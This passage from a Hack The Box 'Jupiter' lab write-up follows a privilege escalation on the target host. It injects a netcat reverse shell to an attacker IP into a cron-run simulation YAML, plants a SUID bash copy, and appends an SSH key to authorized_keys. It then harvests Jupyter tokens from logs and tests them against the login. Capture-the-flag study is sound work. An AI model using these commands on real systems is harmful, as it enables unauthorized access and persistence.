The ports exposed internally seem to be the already viewed portal of grafana and some other portals which, following a couple of redirects (HTTP code 302), require access through a login mask. I would have to do a port forwarding, but in the absence of an ssl connection, it is difficult (not impossible, but difficult), if it proves to be the only way forward, we can work to resolve it. Going forward, the configuration files reveal nothing useful, the same goes for the reported SUIDs (the only more attractive one, the snap, is not the vulnerable version, it's useless even to try, if not that, it should elevate us to superuser and it wouldn't be a standard step for retrieving the two flags). Instead, there is a strange SGID, (/usr/bin/write.ul), starting it, I understand that it is a tool to communicate with other users of the same device.

$ /usr/bin/write.ul
Try 'write.ul --help' for more information.
$ /usr/bin/write.ul --help

Usage:
 write.ul [options] <user> [<ttyname>]

Send a message to another user.

Options:
 -h, --help     display this help
 -V, --version  display version

For more details see write(1).
$ /usr/bin/write.ul --version
write.ul from util-linux 2.37.2

I can't find much online either, so I keep going. The files owned by me or writable by everyone remain. Let's take a look.

$ ls -la /dev/shm
total 32
drwxrwxrwt  3 root     root       100 Aug 16 09:38 .
drwxr-xr-x 20 root     root      4040 Aug 16 04:26 ..
-rw-rw-rw-  1 juno     juno       815 Mar  7 12:28 network-simulation.yml
-rw-------  1 postgres postgres 26976 Aug 16 04:26 PostgreSQL.1435292926
drwxrwxr-x  3 juno     juno       100 Aug 16 09:38 shadow.data
$ cat /dev/shm/network-simulation.yml
general:
  # stop after 10 simulated seconds
  stop_time: 10s
  # old versions of cURL use a busy loop, so to avoid spinning in this busy
  # loop indefinitely, we add a system call latency to advance the simulated
  # time when running non-blocking system calls
  model_unblocked_syscall_latency: true

network:
  graph:
    # use a built-in network graph containing
    # a single vertex with a bandwidth of 1 Gbit
    type: 1_gbit_switch

hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/python3
      args: -m http.server 80
      start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /usr/bin/curl
      args: -s server
      start_time: 5s
$ ls -la /dev/shm/shadow.data
total 8
drwxrwxr-x 3 juno juno  100 Aug 16 09:38 .
drwxrwxrwt 3 root root  100 Aug 16 09:38 ..
drwxrwxr-x 6 juno juno  120 Aug 16 09:38 hosts
-rw-rw-r-- 1 juno juno 1889 Aug 16 09:38 processed-config.yaml
-rw-rw-r-- 1 juno juno 1929 Aug 16 09:38 sim-stats.json
$ ls -la /dev/shm/shadow.data/hosts
total 0
drwxrwxr-x 6 juno juno 120 Aug 16 09:38 .
drwxrwxr-x 3 juno juno 100 Aug 16 09:38 ..
drwxrwxr-x 2 juno juno 120 Aug 16 09:38 client1
drwxrwxr-x 2 juno juno 120 Aug 16 09:38 client2
drwxrwxr-x 2 juno juno 120 Aug 16 09:38 client3
drwxrwxr-x 2 juno juno 120 Aug 16 09:38 server
$ cat /dev/shm/shadow.data/processed-config.yaml
general:
  stop_time: 10 sec
  seed: 1
  parallelism: 1
  bootstrap_end_time: 0 sec
  log_level: info
  heartbeat_interval: 1 sec
  data_directory: shadow.data
  template_directory: null
  progress: false
  model_unblocked_syscall_latency: true
network:
  graph:
    type: 1_gbit_switch
  use_shortest_path: true
experimental:
  use_sched_fifo: false
  use_explicit_block_message: false
  use_syscall_counters: true
  use_object_counters: true
  use_preload_libc: true
  use_preload_openssl_rng: true
  use_preload_openssl_crypto: false
  preload_spin_max: 0
  use_memory_manager: true
  use_shim_syscall_handler: true
  use_cpu_pinning: true
  runahead: 1 ms
  use_dynamic_runahead: false
  socket_send_buffer: 131072 B
  socket_send_autotune: true
  socket_recv_buffer: 174760 B
  socket_recv_autotune: true
  interface_qdisc: fifo
  use_legacy_working_dir: false
  host_heartbeat_log_level: info
  host_heartbeat_log_info:
  - node
  host_heartbeat_interval: 1 sec
  strace_logging_mode: off
  max_unapplied_cpu_latency: 1 μs
  unblocked_syscall_latency: 1 μs
  unblocked_vdso_latency: 10 ns
  use_extended_yaml: false
  scheduler: thread-per-core
hosts:
  client:
    network_node_id: 0
    processes:
    - path: /usr/bin/curl
      args: -s server
      environment: ''
      quantity: 1
      start_time: 5 sec
      stop_time: null
    ip_addr: null
    quantity: 3
    bandwidth_down: null
    bandwidth_up: null
    options:
      log_level: null
      pcap_directory: null
      pcap_capture_size: 65535 B
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/python3
      args: -m http.server 80
      environment: ''
      quantity: 1
      start_time: 3 sec
      stop_time: null
    ip_addr: null
    quantity: 1
    bandwidth_down: null
    bandwidth_up: null
    options:
      log_level: null
      pcap_directory: null
      pcap_capture_size: 65535 B

Ok, here, things might seem interesting, but we need to understand what we are dealing with. Well, it appears to be a configuration file for a simulation involving one server and three clients (like the folders found in the hosts' path). The server starts a web server on port 80, which is then polled by the three clients via a curl. The yaml files placed in the different folders seem to me to be very similar, at least in the representation of what they want to identify. Let's look at the json file (probably the simulation output).

$ cat /dev/shm/shadow.data/sim-stats.json
{
  "objects": {
    "alloc_counts": {
      "TaskRef": 1272,
      "Event": 593,
      "SysCallCondition": 232,
      "Timer": 214,
      "LegacyDescriptor": 171,
      "RegularFile": 153,
      "StatusListener": 130,
      "Packet": 60,
      "Futex": 46,
      "Relay": 12,
      "Epoll": 11,
      "ManagedThread": 10,
      "SysCallHandler": 10,
      "Payload": 9,
      "NetworkInterface": 8,
      "LegacyTcpSocket": 7,
      "TCP": 7,
      "FutexTable": 4,
      "Router": 4
    },
    "dealloc_counts": {
      "TaskRef": 1272,
      "Event": 593,
      "SysCallCondition": 232,
      "Timer": 214,
      "LegacyDescriptor": 171,
      "RegularFile": 153,
      "StatusListener": 130,
      "Packet": 60,
      "Futex": 46,
      "Relay": 12,
      "Epoll": 11,
      "ManagedThread": 10,
      "SysCallHandler": 10,
      "Payload": 9,
      "NetworkInterface": 8,
      "LegacyTcpSocket": 7,
      "TCP": 7,
      "FutexTable": 4,
      "Router": 4
    }
  },
  "syscalls": {
    "newfstatat": 492,
    "futex": 263,
    "read": 222,
    "lseek": 183,
    "rt_sigaction": 180,
    "fstat": 176,
    "close": 172,
    "ioctl": 106,
    "open": 90,
    "mmap": 56,
    "poll": 53,
    "openat": 51,
    "getdents64": 34,
    "rt_sigprocmask": 28,
    "brk": 23,
    "fcntl": 19,
    "mprotect": 19,
    "socket": 17,
    "setsockopt": 14,
    "connect": 13,
    "munmap": 13,
    "sendto": 12,
    "recvfrom": 9,
    "getsockname": 8,
    "clone": 6,
    "getrandom": 6,
    "rseq": 6,
    "set_robust_list": 6,
    "shadow_get_shm_blk": 6,
    "socketpair": 6,
    "write": 6,
    "gettid": 4,
    "shadow_hostname_to_addr_ipv4": 4,
    "shadow_init_memory_manager": 4,
    "sysinfo": 4,
    "accept4": 3,
    "dup": 3,
    "exit_group": 3,
    "getpeername": 3,
    "getsockopt": 3,
    "pipe": 3,
    "shadow_yield": 3,
    "shutdown": 3,
    "bind": 1,
    "epoll_create1": 1,
    "listen": 1,
    "uname": 1
  }
}

It just seems to be that.

$ ls -la /dev/shm/shadow.data/hosts/server
total 4
drwxrwxr-x 2 juno juno 120 Aug 16 09:50 .
drwxrwxr-x 6 juno juno 120 Aug 16 09:50 ..
-rw-rw-r-- 1 juno juno   0 Aug 16 09:50 server.python3.10.1000.exitcode
-rw-r--r-- 1 juno juno   0 Aug 16 09:50 server.python3.10.1000.shimlog
-rw-r--r-- 1 juno juno 177 Aug 16 09:50 server.python3.10.1000.stderr
-rw-r--r-- 1 juno juno   0 Aug 16 09:50 server.python3.10.1000.stdout
$ ls -la /dev/shm/shadow.data/hosts/client1
total 8
drwxrwxr-x 2 juno juno 120 Aug 16 09:50 .
drwxrwxr-x 6 juno juno 120 Aug 16 09:50 ..
-rw-rw-r-- 1 juno juno   1 Aug 16 09:50 client1.curl.1000.exitcode
-rw-r--r-- 1 juno juno   0 Aug 16 09:50 client1.curl.1000.shimlog
-rw-r--r-- 1 juno juno   0 Aug 16 09:50 client1.curl.1000.stderr
-rw-r--r-- 1 juno juno 548 Aug 16 09:50 client1.curl.1000.stdout

In all this, however, I did not quite understand which simulation program is being used. We need to monitor the processes to identify which one is using (or will be using its startup) one of the yaml files we just parsed. So, the latest version of pyspy and let's move on. And after waiting a few minutes....

[...]
2023/08/16 09:58:01 CMD: UID=0     PID=24062  | /usr/sbin/CRON -f -P 
2023/08/16 09:58:01 CMD: UID=1000  PID=24065  | rm -rf /dev/shm/shadow.data 
2023/08/16 09:58:01 CMD: UID=1000  PID=24064  | /bin/bash /home/juno/shadow-simulation.sh 
2023/08/16 09:58:01 CMD: UID=1000  PID=24063  | /bin/sh -c /home/juno/shadow-simulation.sh 
2023/08/16 09:58:01 CMD: UID=1000  PID=24066  | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml 
2023/08/16 09:58:01 CMD: UID=1000  PID=24069  | sh -c lscpu --online --parse=CPU,CORE,SOCKET,NODE 
2023/08/16 09:58:01 CMD: UID=1000  PID=24070  | lscpu --online --parse=CPU,CORE,SOCKET,NODE 
2023/08/16 09:58:01 CMD: UID=1000  PID=24075  | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml 
2023/08/16 09:58:01 CMD: UID=1000  PID=24076  | /usr/bin/curl -s server 
2023/08/16 09:58:01 CMD: UID=1000  PID=24078  | /usr/bin/curl -s server 
2023/08/16 09:58:01 CMD: UID=1000  PID=24080  | /usr/bin/curl -s server 
2023/08/16 09:58:02 CMD: UID=1000  PID=24085  | 
2023/08/16 09:58:12 CMD: UID=114   PID=24086  | postgres: 14/main: autovacuum worker                                                 

Ok, all clear, anything that is started from this script will be run under the juno user credentials. So let's prepare our payload...

┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/upld]
└─$ cat network-simuation.yml                                                            
general:
  # stop after 10 simulated seconds
  stop_time: 10s
  # old versions of cURL use a busy loop, so to avoid spinning in this busy
  # loop indefinitely, we add a system call latency to advance the simulated
  # time when running non-blocking system calls
  model_unblocked_syscall_latency: true

network:
  graph:
    # use a built-in network graph containing
    # a single vertex with a bandwidth of 1 Gbit
    type: 1_gbit_switch

hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/sh
      args: -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.99 4445 >/tmp/f'
      start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /usr/bin/curl
      args: -s server
      start_time: 5s

...and replace it with the original one (hopefully it won't be overwritten sooner). However, I will need a tty shell and since kali's zsh has given me problems several times, I have to opt for a switch to bash. We have to reconnect. Let's go through the steps again, but first, let's switch to a bash shell.

┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox]
└─$ ps -p $$                 
    PID TTY          TIME CMD
  54696 pts/4    00:00:04 zsh
                                                                                                                                     
┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox]
└─$ bash        
┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox]
└─$ ps -p $$
    PID TTY          TIME CMD
  67638 pts/4    00:00:00 bash

┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox]
└─$ nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.14.99] from jupiter.htb [10.10.11.216] 35012
/bin/sh: 0: can't access tty; job control turned off
$ 

Here are several ways to switch to a tty shell, the one we're interested in is towards the end.

Shell spawning - how to spawn TTY shell during pentest
Shell spawning - Once you get a shell on the linux victim machine this shell could be without TTY. To go on with the pentest you will need to spawn TTY shell.
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
postgres@jupiter:/var/lib/postgresql/14/main$ ^Z
[1]+  Stopped                 nc -lvp 4444

┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox]
└─$ stty -a
speed 38400 baud; rows 65; columns 133; line = 0;
intr = ^C; quit = ^\; erase = ^H; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>; start = ^Q; stop = ^S;
susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; discard = ^O; min = 1; time = 0;
-parenb -parodd -cmspar cs8 -hupcl -cstopb cread -clocal -crtscts
-ignbrk brkint ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc -ixany imaxbel -iutf8
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke -flusho -extproc

┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox]
└─$ stty raw -echo

┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox]
└─$ 
nc -lvp 4444

postgres@jupiter:reset 

After the reset command set the terminal (xterm-256color) and the rows and columns as specified in the article. At this point, you can safely edit the network-simulation.yml file with vi, save, wait a few minutes and hope that everything works as expected. Unfortunately, the file is restored after a while, but without my listener on port 4445 being activated. There must be something wrong, let's try with some simpler commands, just to understand if at least the commands we insert are executed.

    - path: /usr/bin/sh
      args: -c 'curl http://10.10.14.99/'

But this command also fails. Let's try pointing the rails directly.

    - path: /usr/bin/curl
      args: http://10.10.14.99/

Doesn't it seem to have an effect, that user juno doesn't have permission to execute certain commands with network access? Let's try something even simpler, this time using both processes (client and server). Change the hosts section as follow:

[...]
hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/sh
      args: -c 'touch /tmp/test1'
      start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /usr/bin/sh
      args: -c 'touch /tmp/test2'
      start_time: 5s
[...]

Nothing again... Let's try again.

[...]
hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/cp
      args: /bin/bash /tmp/bash1
      start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /usr/bin/cp
      args: /bin/bash /tmp/bash2
      start_time: 5s
[...]

Good, it seems that the first command worked, I find the bash1 command inside the tmp folder.

postgres@jupiter:/dev/shm$ ls -la /tmp/bash1
-rwxr-xr-x 1 juno juno 1396520 Aug 16 19:38 /tmp/bash1

Let's activate a SUID from juno on it. We proceed as before and change the permissions of the bash that I just copied into the tmp folder.

[...]
hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/chmod
      args: u+s /tmp/bash1
      start_time: 3s
[...]

And we have a way to impersonate juno.

postgres@jupiter:/dev/shm$ ls -la /tmp/bash1
-rwsr-xr-x 1 juno juno 1396520 Aug 16 19:38 /tmp/bash1
postgres@jupiter:/dev/shm$ /tmp/bash1 -p    
bash1-5.1$ whoami
juno
bash1-5.1$ pwd
/dev/shm
bash1-5.1$ cd
bash1: cd: HOME not set
bash1-5.1$ cd /home/juno
bash1-5.1$ ls -la
total 52
drwxr-x---  8 juno juno 4096 May  4 12:10 .
drwxr-xr-x  4 root root 4096 Mar  7 13:00 ..
lrwxrwxrwx  1 juno juno    9 Mar  7 10:45 .bash_history -> /dev/null
-rw-r--r--  1 juno juno  220 Jan  6  2022 .bash_logout
-rw-r--r--  1 juno juno 3792 Mar  7 10:00 .bashrc
drwx------  3 juno juno 4096 May  4 18:59 .cache
drwxrwxr-x  5 juno juno 4096 Mar  7 10:02 .cargo
drwxrwxr-x  5 juno juno 4096 Mar  7 12:08 .local
-rw-r--r--  1 juno juno  828 Mar  7 10:00 .profile
drwxrwxr-x  6 juno juno 4096 Mar  7 10:01 .rustup
drwxrwxr-x 12 juno juno 4096 Mar  9 10:31 shadow
-rwxrwxr-x  1 juno juno  174 Apr 14 14:28 shadow-simulation.sh
drwx------  2 juno juno 4096 Mar  7 09:55 .ssh
-rw-r-----  1 root juno   33 Aug 16 04:26 user.txt
bash1-5.1$ cat user.txt
cat: user.txt: Permission denied

Hmm... looks like we'll have to lengthen our path to the user flag, but it doesn't seem too difficult.

bash1-5.1$ cd .ssh
bash1-5.1$ ls -la
total 8
drwx------ 2 juno juno 4096 Mar  7 09:55 .
drwxr-x--- 8 juno juno 4096 May  4 12:10 ..
-rw------- 1 juno juno    0 Mar  7 09:55 authorized_keys

Let's insert our key, and we can enter it without problems.

┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/ssh]
└─$ ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/home/in7rud3r/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in ./id_rsa
Your public key has been saved in ./id_rsa.pub
The key fingerprint is:
SHA256:YIeu20L74kbKl3a1hzVLNvoMBwA2b9lMSDJ2Xc/tVBc in7rud3r@in7rud3r-kali
The key's randomart image is:
+---[RSA 3072]----+
|    B.oo...    E+|
|   o B.*.  o . ..|
|      O +   o o  |
|     + +     o   |
|      . S     .  |
|    o.  ..*      |
| . +.o ..B.+     |
|  o Oo. ++o      |
|   =o=o  oo      |
+----[SHA256]-----+
                                                                                                                                     
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/ssh]
└─$ cat id_rsa.pub            
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0kGgr4pqlTECq8iwIF9eZLiJTlVxRNYzlCFnEku49SBVbWqZa5SNrMHCOttPf1jjBLuvgX6Qk91iRr4gkPRsiMZdl1GoRuWxPmdq3qwBZhoFbtEU7g1SlbZd1g8v2hATgiyvX4xsF0BQaEpT3yybiO80CPzlGK1N26W37ovQCWfh5fjRC/PuwY8DIZf5WnIjf0kWgt86n2jbn6G2y2xjDXyIO4AadZHkxayf5k/O1Z5lPPkToH25Tj29JBVyfWTHtcGySG5J7jKEGLWDigq8ixC4g8B2cMinR7QnZcXPq0NDA5cJHnlAyxrDKupzBUBP704a9D3cnuQ0H34I3h3QVmAyGif7518O558HTxiLgQsU87MKd8hFRlMDMN3r4bW/MkkU0vsEudd3heG1yx86yphsTZDX8QWdyKN1va9XAcJrXDOrCjzQwWTeg87DefHiz3y+jdQXHo+wxVaTAFVjOWAMIJL7CIzD2GnDQqHfhnieD5apthLF+dTszEkUN8yk= in7rud3r@in7rud3r-kali

Insert the new public key into the authorized_keys of the juno account...

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0kGgr4pqlTECq8iwIF9eZLiJTlVxRNYzlCFnEku49SBVbWqZa5SNrMHCOttPf1jjBLuvgX6Qk91iRr4gkPRsiMZdl1GoRuWxPmdq3qwBZhoFbtEU7g1SlbZd1g8v2hATgiyvX4xsF0BQaEpT3yybiO80CPzlGK1N26W37ovQCWfh5fjRC/PuwY8DIZf5WnIjf0kWgt86n2jbn6G2y2xjDXyIO4AadZHkxayf5k/O1Z5lPPkToH25Tj29JBVyfWTHtcGySG5J7jKEGLWDigq8ixC4g8B2cMinR7QnZcXPq0NDA5cJHnlAyxrDKupzBUBP704a9D3cnuQ0H34I3h3QVmAyGif7518O558HTxiLgQsU87MKd8hFRlMDMN3r4bW/MkkU0vsEudd3heG1yx86yphsTZDX8QWdyKN1va9XAcJrXDOrCjzQwWTeg87DefHiz3y+jdQXHo+wxVaTAFVjOWAMIJL7CIzD2GnDQqHfhnieD5apthLF+dTszEkUN8yk= in7rud3r@in7rud3r-kali' >> authorized_keys

...and now we should be able to pass!

┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/ssh]
└─$ ssh -i id_rsa [email protected] 
The authenticity of host '10.10.11.216 (10.10.11.216)' can't be established.
ED25519 key fingerprint is SHA256:Ew7jqugz1PCBr4+xKa3GVApxe+GlYwliOFLdMlqXWf8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.216' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-72-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Aug 16 07:56:29 PM UTC 2023

  System load:           0.0
  Usage of /:            81.5% of 12.33GB
  Memory usage:          25%
  Swap usage:            0%
  Processes:             296
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.216
  IPv6 address for eth0: dead:beef::250:56ff:feb9:6d82


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Wed Jun  7 15:13:15 2023 from 10.10.14.23
juno@jupiter:~$ cat user.txt 
7******************************5

Well done, go ahead with the basis.

juno@jupiter:~$ sudo -l
[sudo] password for juno: 

Well, I'd run linpeas again, but I still have some previous reports that I haven't investigated and that now, with an ssh connection, I can exploit (remember ports 3000 and 8888?). We can then activate the port forwarding we were talking about earlier. Start with port 3000.

┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/ssh]
└─$ ssh -i id_rsa -L 3000:127.0.0.1:3000 [email protected]

Navigate the localhost:3000 and... Ok, as supposed, on port 3000 there is the grafana service, Let's try with port 8888.

┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/ssh]
└─$ ssh -i id_rsa -L 8888:127.0.0.1:8888 [email protected]

And here is the login form we identified through the unreadable curl output. Ok, it's jupyter notebook. Let's investigate also on the shell.

juno@jupiter:~$ jupyter --version
Selected Jupyter core packages...
IPython          : 8.11.0
ipykernel        : 6.21.3
ipywidgets       : 8.0.4
jupyter_client   : 8.0.3
jupyter_core     : 5.2.0
jupyter_server   : 2.4.0
jupyterlab       : not installed
nbclient         : not installed
nbconvert        : 7.2.9
nbformat         : not installed
notebook         : 6.5.3
qtconsole        : 5.4.0
traitlets        : 5.9.0
juno@jupiter:~$ jupyter --paths
config:
    /home/juno/.jupyter
    /home/juno/.local/etc/jupyter
    /usr/etc/jupyter
    /usr/local/etc/jupyter
    /etc/jupyter
data:
    /home/juno/.local/share/jupyter
    /usr/local/share/jupyter
    /usr/share/jupyter
runtime:
    /home/juno/.local/share/jupyter/runtime

It will be a long investigation (but don't worry, I'll spare you some unnecessary steps). Ok, I scanned the files in the specified folders looking for some useful token to use in the authentication form, but I didn't find anything, I searched for some jupyter exploits and installed plugins, but again, nothing interesting. A little hint comes when I go to list the jupyter notebook processes.

juno@jupiter:~$ ps -aux | grep jupyter
jovian      1176  0.0  2.4 482416 99092 ?        Sl   Aug20   0:12 /usr/bin/python3 /usr/local/bin/jupyter-notebook --no-browser /opt/solar-flares/flares.ipynb
jovian     57073  0.0  1.5 753780 62108 ?        Ssl  04:27   0:01 /usr/bin/python3 -m ipykernel_launcher -f /home/jovian/.local/share/jupyter/runtime/kernel-c2a5d644-1301-41fc-b7d3-88e91bfe38eb.json
jovian     57120  0.0  1.5 753776 62528 ?        Ssl  04:28   0:01 /usr/bin/python3 -m ipykernel_launcher -f /home/jovian/.local/share/jupyter/runtime/kernel-d22d4c12-e148-46c0-9ca6-fadbc5692469.json
juno       78063  0.0  0.0   6608  2320 pts/2    S+   08:04   0:00 grep --color=auto jupyter
juno@jupiter:~$ ls -la /opt/solar-flares/
total 2612
drwxrwx--- 4 jovian science    4096 Aug 21 04:34 .
drwxr-xr-x 3 root   root       4096 May  4 18:59 ..
-rw-rw---- 1 jovian science  646164 Mar  8 09:11 cflares.csv
-rw-rw---- 1 jovian science  708058 Mar  8 09:11 flares.csv
-rw-rw---- 1 jovian science   10230 Mar  8 09:11 flares.html
-rw-r----- 1 jovian science  234001 Aug 21 04:29 flares.ipynb
drwxrwxr-x 2 jovian science    4096 Aug 21 04:29 .ipynb_checkpoints
drwxrwxr-t 2 jovian science    4096 Aug 21 04:14 logs
-rw-rw---- 1 jovian science 1010424 Mar  8 09:11 map.jpg
-rw-rw---- 1 jovian science   26651 Mar  8 09:11 mflares.csv
-rwxr-xr-x 1 jovian science     147 Mar  8 11:37 start.sh
-rw-rw-r-- 1 jovian jovian     1354 Aug 21 04:34 Untitled.ipynb
-rw-rw---- 1 jovian science    1992 Mar  8 09:11 xflares.csv
juno@jupiter:~$ cd /opt/solar-flares/
juno@jupiter:/opt/solar-flares$ grep -irl token ./*
./logs/jupyter-2023-05-04-20.log
./logs/jupyter-2023-08-20-50.log
./logs/jupyter-2023-05-30-53.log
./logs/jupyter-2023-05-04-31.log
./logs/jupyter-2023-03-10-25.log
./logs/jupyter-2023-04-13-43.log
./logs/jupyter-2023-05-04-07.log
./logs/jupyter-2023-03-10-42.log
./logs/jupyter-2023-05-04-08.log
./logs/jupyter-2023-03-08-37.log
./logs/jupyter-2023-03-08-38.log
./logs/jupyter-2023-05-04-57.log
./logs/jupyter-2023-06-07-05.log
./logs/jupyter-2023-04-14-27.log
./logs/jupyter-2023-06-06-39.log
./logs/jupyter-2023-05-04-43.log
./logs/jupyter-2023-05-05-54.log
./logs/jupyter-2023-03-08-36.log
./logs/jupyter-2023-05-04-45.log
./logs/jupyter-2023-03-09-11.log
./logs/jupyter-2023-05-04-04.log
./logs/jupyter-2023-05-05-03.log
./logs/jupyter-2023-03-09-24.log
./logs/jupyter-2023-05-30-46.log
./logs/jupyter-2023-03-08-14.log
./logs/jupyter-2023-03-09-59.log

I hope there is a token that interests us! Let's try to find it using some linux bash features and make our life easier. we all look for the lines that contain the word "token", we will find that most are delimited by the word "Token" followed by an equals character ("=") and a trailing space, some are left out, but if we don't find that that we are looking for we could go back to recover those too. Let's extract, therefore, only these and group them in order to eliminate the duplicates.

juno@jupiter:/opt/solar-flares/logs$ grep -ir token ./* | grep -oP 'token=\K[^ ]+' | sort -u
17c88cd08da0e83060212d9bdca9b7e0cb77a5b3db7f601e
2f504e6fb46d05416b63f9a437f9b01cd84f1dc508f760e9
32c191b5c60eee4f4a2a8c71498d0d285a82433f1629e44d
355e8d17288e32971e13b7ea0e5a45f610a89a1079935d70
3c02358351a9f5dddc49de8529d8d70b72ad1bf3447da316
3fdb3a61fcbd3d798b1e544e65506679f1b3afe4c3d64ec0
42dc3684132c4f3abd861afaff87f77088e18ea324e8613f
4f3a203bf39974ebe186dcfcb13951800d7d48f551dca269
5313d7bfe0eb674db299f627f4be1212d17c6758b7b98989
541fe01458de7dfa4f6846a8942ac19813027a0d4c7ae75e
58b7b9d0f454d3dd67ba8617b5c49152b40b9a84ba84aaf6
63450eb6e1ecd994f61c46f72a99c5f54a5f46e5fb4dab45
6e55453452553edb56a9a1ff047e59731a996f1b1477a2bb
7c07a1dec44c592d51fffbe41d93478ed81b5bd6536f4e9e
86bc5bfe81160236c47c9ef49b0c30333685bd9bc1b4fabb
99515a46ec9771332b4bdb8c6345f556d0b9033ebb857bfc
a3fa766425e9e215fdb7bc51fecaaa9e851c579c1c9118a0
ac76aa2810c91514fb07a00850fc83091cd22e6cd8de4cad
afd87eff400a5006d19b6f7bf1b5541b7f716efbf847e440
b56d663f59a58570177c92c7bb992f90b252f97e9d04ab4a
b8055b937eeb17431b3f00dfc5159ba909012d86be120b60
c0dc3dc7a8ccbc8f12161717cb99e588c05af493a8ef44e9
c1b7aef7f310cd8f3143c70fb9b4b0e41a10559afeebafab
cb3838c517de094f37ac3a51fa6e5d65b29c54f407a2bfb9
e9b7d5bd755ff579a4bcd1cb2316098b282c954029d58f5d
ecb902737922cbb1155bc7c7a60a6f1b52ae206fd2e1ff1d
fa7fab9d1955b2003a7755d125e351956cc5b07e4ee7e8ec
ff0e0d45e2c953a0e942abc9008b03d728cf989ad9f93f9b

Ok, let's save them in a local file, where we can also reach the portal on port and check if one of these tokens can be used to pass access control.

┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/dwnl]
└─$ for token in $(cat tokens.txt); do                                                        
    response=$(curl -s -L "http://localhost:8888/?token=$token")
    if [[ $response == *"Password or token"* ]]; then
        echo "Token $token: Access Denied"
    else
        echo "Token $token: Access Granted"
    fi
done

Token 17c88cd08da0e83060212d9bdca9b7e0cb77a5b3db7f601e: Access Denied
Token 2f504e6fb46d05416b63f9a437f9b01cd84f1dc508f760e9: Access Denied
Token 32c191b5c60eee4f4a2a8c71498d0d285a82433f1629e44d: Access Denied
Token 355e8d17288e32971e13b7ea0e5a45f610a89a1079935d70: Access Denied
Token 3c02358351a9f5dddc49de8529d8d70b72ad1bf3447da316: Access Denied
Token 3fdb3a61fcbd3d798b1e544e65506679f1b3afe4c3d64ec0: Access Denied
Token 42dc3684132c4f3abd861afaff87f77088e18ea324e8613f: Access Denied
Token 4f3a203bf39974ebe186dcfcb13951800d7d48f551dca269: Access Denied
Token 5313d7bfe0eb674db299f627f4be1212d17c6758b7b98989: Access Denied
Token 541fe01458de7dfa4f6846a8942ac19813027a0d4c7ae75e: Access Denied
Token 58b7b9d0f454d3dd67ba8617b5c49152b40b9a84ba84aaf6: Access Denied
Token 63450eb6e1ecd994f61c46f72a99c5f54a5f46e5fb4dab45: Access Granted
Token 6e55453452553edb56a9a1ff047e59731a996f1b1477a2bb: Access Denied
Token 7c07a1dec44c592d51fffbe41d93478ed81b5bd6536f4e9e: Access Denied
Token 86bc5bfe81160236c47c9ef49b0c30333685bd9bc1b4fabb: Access Denied
Token 99515a46ec9771332b4bdb8c6345f556d0b9033ebb857bfc: Access Denied
